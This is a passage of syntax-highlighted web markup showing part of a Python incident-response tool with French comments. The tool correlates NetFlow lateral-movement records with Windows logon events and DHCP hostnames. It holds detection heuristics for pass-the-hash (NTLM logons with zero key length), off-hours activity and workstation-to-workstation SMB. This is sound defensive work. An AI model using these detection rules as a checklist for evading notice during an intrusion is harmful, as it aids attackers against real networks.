plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""Charger les événements d'authentification Windows."""</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">with</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">open</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">csv_path</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">as</span><span class="token plain"> f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> row </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> csv</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">DictReader</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">f</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">try</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">auth_events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> datetime</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">fromisoformat</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'event_id'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">int</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'event_id'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'source_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'source_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'account'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'account'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'logon_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'logon_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">''</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'auth_pkg'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'auth_pkg'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">''</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'key_length'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'key_length'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">''</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token string" style="color:hsl(139, 66%, 32%)">'service'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> row</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">get</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'service'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">''</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">except</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">ValueError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> KeyError</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">continue</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">print</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)">f"[+] Auth : chargé </span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token string-interpolation interpolation builtin" style="color:hsl(212, 92%, 35%)">len</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string-interpolation interpolation">self</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token string-interpolation interpolation">auth_events</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token string-interpolation interpolation punctuation" style="color:hsl(212, 13%, 16%)">}</span><span class="token string-interpolation string" style="color:hsl(139, 66%, 32%)"> événements d'authentification"</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">def</span><span class="token plain"> </span><span class="token function" style="color:hsl(256, 54%, 50%)">correlate</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> time_window_seconds</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token number" style="color:hsl(212, 92%, 35%)">30</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">"""</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">        Corrélation principale : pour chaque enregistrement NetFlow de mouvement latéral,</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">        trouver l'événement auth correspondant dans la fenêtre temporelle.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">        Enrichir les deux avec la résolution de nom d'hôte DHCP.</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token triple-quoted-string string" style="color:hsl(139, 66%, 32%)">        """</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        timeline </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> flow </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">sorted</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">netflow_events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> key</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token keyword" style="color:hsl(356, 75%, 47%)">lambda</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> x</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            flow_ts </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> flow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            src_ip  </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> flow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'src_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            dst_ip  </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> flow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Résoudre les IPs en noms d'hôtes via la chronologie DHCP</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            src_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> src_mac </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">resolve_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">src_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> flow_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            dst_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> dst_mac </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">resolve_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">dst_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> flow_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Trouver l'événement auth correspondant dans la fenêtre temporelle</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            matching_auth </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token boolean" style="color:hsl(356, 75%, 47%)">None</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            window </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> timedelta</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">seconds</span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain">time_window_seconds</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">for</span><span class="token plain"> auth </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> self</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">auth_events</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token builtin" style="color:hsl(212, 92%, 35%)">abs</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'ts'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">-</span><span class="token plain"> flow_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">total_seconds</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> time_window_seconds</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'source_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> src_ip </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"> auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'logon_type'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'3'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'10'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        matching_auth </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> auth</span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                        </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">break</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Déterminer si c'est suspect</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            suspicion_flags </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> matching_auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Indicateur pass-the-hash</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">matching_auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'auth_pkg'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'NTLM'</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    matching_auth</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'key_length'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token string" style="color:hsl(139, 66%, 32%)">'0'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    suspicion_flags</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'PASS_THE_HASH'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># Activité hors heures (minuit à 5h)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">0</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;=</span><span class="token plain"> flow_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">hour </span><span class="token operator" style="color:hsl(212, 92%, 35%)">&lt;</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">5</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    suspicion_flags</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'HORS_HEURES'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token comment" style="color:hsl(212, 9%, 47%);font-style:italic"># SMB poste-à-poste (pas de motif de nom serveur)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">if</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token plain">flow</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">[</span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_port'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">]</span><span class="token plain"> </span><span class="token operator" style="color:hsl(212, 92%, 35%)">==</span><span class="token plain"> </span><span class="token number" style="color:hsl(212, 92%, 35%)">445</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'srv'</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> dst_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">lower</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'server'</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> dst_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">lower</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">and</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    </span><span class="token string" style="color:hsl(139, 66%, 32%)">'dc'</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">not</span><span class="token plain"> </span><span class="token keyword" style="color:hsl(356, 75%, 47%)">in</span><span class="token plain"> dst_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">lower</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                    suspicion_flags</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">append</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token string" style="color:hsl(139, 66%, 32%)">'SMB_POSTE_A_POSTE'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            </span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">            event </span><span class="token operator" style="color:hsl(212, 92%, 35%)">=</span><span class="token plain"> </span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">{</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'timestamp'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> flow_ts</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">.</span><span class="token plain">isoformat</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">(</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">)</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'src_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> src_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'src_hostname'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> src_host</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'src_mac'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> src_mac</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" style="color:hsl(212, 13%, 16%)"><span class="token plain">                </span><span class="token string" style="color:hsl(139, 66%, 32%)">'dst_ip'</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">:</span><span class="token plain"> dst_ip</span><span class="token punctuation" style="color:hsl(212, 13%, 16%)">,</span><span class="token plain"></span><br></span><span class="token-line" 